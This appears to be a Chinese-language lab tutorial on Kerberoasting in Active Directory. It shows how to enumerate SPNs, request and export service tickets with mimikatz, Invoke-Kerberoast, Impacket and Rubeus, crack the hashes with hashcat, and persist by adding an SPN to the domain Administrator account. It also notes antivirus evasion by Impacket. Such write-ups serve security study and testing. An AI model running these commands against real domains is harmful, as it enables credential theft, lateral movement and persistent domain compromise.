Kerberoasting的原理需要用到Windows Kerberos协议的知识,可以参考我之前写的Window身份认证——Kerberos

Kerberoasting出现在Kerberos认证的获得TGS(Sevice Ticket)这一步,当获得TGS——或者 说是ST后,我们可以尝试枚举用户密码,然后使用相同的加密方式进行加密,将得到的结果与 获得的TGS对比,来实现对用户密码的爆破

@harmj0ykerberoasting without mimikatz就是将这些步骤汇总在一个脚本中,最 终将TGS中的hash提取出来,然后使用hashcat或John the Ripper对hash进行破解

SPN(Service Principal Names)

服务主体名称(SPN)是服务实例的唯一标识符。Kerberos身份验证使用SPN将服务实例与服务登录帐户关联。这样,即使客户端没有帐户名,客户端应用程序也可以请求服务对帐户进行身份验证。

如果您在整个林中的计算机上安装服务的多个实例,则每个实例必须具有自己的SPN。如果客户端可以使用多个名称进行身份验证,则给定的服务实例可以具有多个SPN。例如,SPN始终包括在其上运行服务实例的主机的名称,因此服务实例可能会为其主机的每个名称或别名注册一个SPN。

SPN的名称格式

SPN在其注册的林中必须是唯一的。如果不是唯一的,认证将失败。SPN语法包含四个元素:两个必需元素和两个其他元素:

<service class>/<host>:<port>/<service name>

其中端口号<port><service name>为可选元素,例如:

MyDBService/host1.example.com/CN=hrdb,OU=mktg,DC=example,DC=com

亦或者SQL server的SPN:

MSSQLSvc/WIN2003.centoso.com:1433

还需要注意SPN在对应账户所属的属性,看一下微软官方文档的描述:

user and computer objects have a servicePrincipalName attribute, which is a multi-valued attribute for storing all the SPNs associated with a user or computer account. If the service runs under a user account, the SPNs are stored in the servicePrincipalName attribute of that account. If the service runs in the LocalSystem account, the SPNs are stored in the servicePrincipalName attribute of the account of the service’s host computer.

大致意思为:

操作SPN

可以使用setspn命令完成对SPN的相关操作,该命令适用于:Windows Server 2008,Windows Server 2008 R2,Windows Server 2012,Windows 8, Windows 7

查询域内SPN:

setspn -q */*

1577364227005.png

注册SPN,例如SQL Server服务:

setspn -A MSSQLSvc/WIN2003.centoso.com:1433 MSSQL

其中MSSQL为服务所属账户

1577364814460.png

删除SPN:

setspn -d MSSQLSvc/WIN2003.centoso.com:1433 MSSQL

1577364842970.png

查询有价值的SPN

引用@3gstudent大师傅的文章,只有满足以下条件的SPN对我们来说才是有价值的:

Setspn

使用setspn命令来查询SPN:

setspn -q */*

在指定域(centoso.com)中查询:

setspn -T centoso.com -q */*

GetUserSPNs.ps1

使用kerberoast工具集中的GetUserSPNs.ps1,可以列出可被利用的SPN:

powershell.exe Import-module .\GetUsersSPNs.ps1

或者先运行交互式powershell,然后执行:

Import-module .\GetUsersSPNs.ps1

1577366347471.png

该工具集中还有一个GetUserSPNs.vbs,是通过弹窗显示SPN的

PowerView.ps1

使用PowerSploit工具包中的PowerView.ps1也可以查询SPN:

powershell.exe Import-module .\PowerView.ps1;Get-NetUser -SPN

或者交互式:

Import-module .\PowerView.ps1

Get-NetUser -SPN

1577367834597.png

还可以将查询结果select出我们需要的字段来输出(可以使用-AdminCount参数限制只输出高权限用户的SPN):

powershell.exe "Import-module .\PowerView.ps1;Get-NetUser -spn|Select name,serviceprincipalname,whencreated,pwdlastset,lastlogon"

1577368131422.png

PowerSploit——PowerView.ps1

PS Active Directory Module

Powershell的该模块一般在域控上默认安装,在我的测试环境中域控WIN Server 2008上可以导入,但在成员机win7上找不到该模块

Import-module ActiveDirectory

get-aduser -filter {AdminCount -eq 1 -and (servicePrincipalName -ne 0)} -prop * |select name,serviceprincipalname,whencreated,pwdlastset,lastlogon

1577368999566.png

如果没有安装则可以导入Microsoft.ActiveDirectory.Management.dll,下载戳这里:Microsoft.ActiveDirectory.Management.dll

Import-module .\Microsoft.ActiveDirectory.Management.dll

Kerberoasting的利用

我们可以通过各种已知手段导出该服务账户的TGS或hash,然后使用工具进行爆破,如果爆破出了正确的密码就可以使用这个账号来做横向移动

mimikatz导出TGS爆破

首先使用GetUserSpns.ps1来获取可利用的SPN,可以看到有一个IIS服务

1577441272149.png

然后向该服务请求TGS(Powershell中):

请求指定票据:
Add-Type -AssemblyNAme System.IdentityModel

New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/WIN2003.centoso.com"

请求全部票据:
Add-Type -AssemblyName System.IdentityModel

setspn.exe -T medin.local -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }  

1577441029922.png

此时使用mimikatz可以查看当前拥有的票据(IIS的票据在后面,截图没有截到),并使用/export导出

kerberos::list /export

1577441410663.png

1577441548697.png

然后使用kerberoast工具包中的tgsrepcrack.py来爆破服务账户的密码:

1577442355639.png

Without mimikatz

该方法可以不使用mimikatz来进行Kerberoasting,利用的是Empire中的Invoke-Kerberoast.ps1这个脚本

直接在Powershell中导入该脚本:

Import-Module .\Invoke-kerberoast.ps1

然后选择以hashcat能够破解的格式导出hash(如果不指定格式则默认为John the Ripper的格式):

Invoke-kerberoast -outputformat hashcat | fl

1577463264644.png

将导出的hash复制到文件中,去掉换行\r\n,使用hashcat爆破(因为我这里之前爆破出来过所以加了--show参数)

hashcat -m 13100 <hashfile> <wordlist> --force

其中-m 13100是指定13100号加密方式,官方定义为Kerberos 5 TGS-REP etype 23

1577463336862.png

Impacket

使用Impacket工具包中的GetUserSPNs.exe,令我惊讶的是这玩意还过了很多AV(360卡巴nod32等),只有迈克菲和火眼几个报了毒

该工具需要域控的IP,以及一个域用户的用户名和密码,可以直接显示出hashcat可破解格式的hash

GetUserSPNs.exe -request -dc-ip <DC_IP> <DomainName>/<DomainUserName>

1577465901693.png

接下来就还是拉到hashcat那里去爆破就可以了

Rubeus

使用Rubeus也可以进行kerberoasting,把GitHub上的项目下载下来在VS中编译一下就可以使用了

同样是直接dump出可以用hashcat破解的hash(但我这个看起来输出格式有点问题,不过不影响,在notepad++中把空格和\r\n删除就可以了):

Rubeus.exe kerberoast /spn:"HTTP/WIN2003.centoso.com"

1577516322961.png

Kerberoasting权限维持

Kerberoasting还可以用做权限维持,即使域管理员修改了密码,我们也可以通过这种方式拿到他的hash或者TGS,然后再尝试爆破管理员的密码。

需要注意的是管理员修改密码之后,需要等组策略刷新后SPN才会更改,所以自己复现时要重启一下,这样dump的hash就是修改后的密码hash了

假设我们此时以及拿下了域控并且拿到了域管理员的权限,然后我们可以添加一个域管理员的SPN(服务名称任意,甚至可以不存在)

setspn -U -A TEST/WIN08.centoso.com Administrator

其中-U是指定该账户名是一个用户账户(Administrator)

1577527642098.png

然后此时我们使用PowerView.ps1来查看可以利用的SPN,可以看到使用-AdminCount可以查询到administrator的SPN,因为该账户是一个高权限账户

1577527867268.png

然后再使用Invoke-kerberoast.ps1来导出hash

1577528071027.png

hashcat破解,得到域管理员的密码

1577528315187.png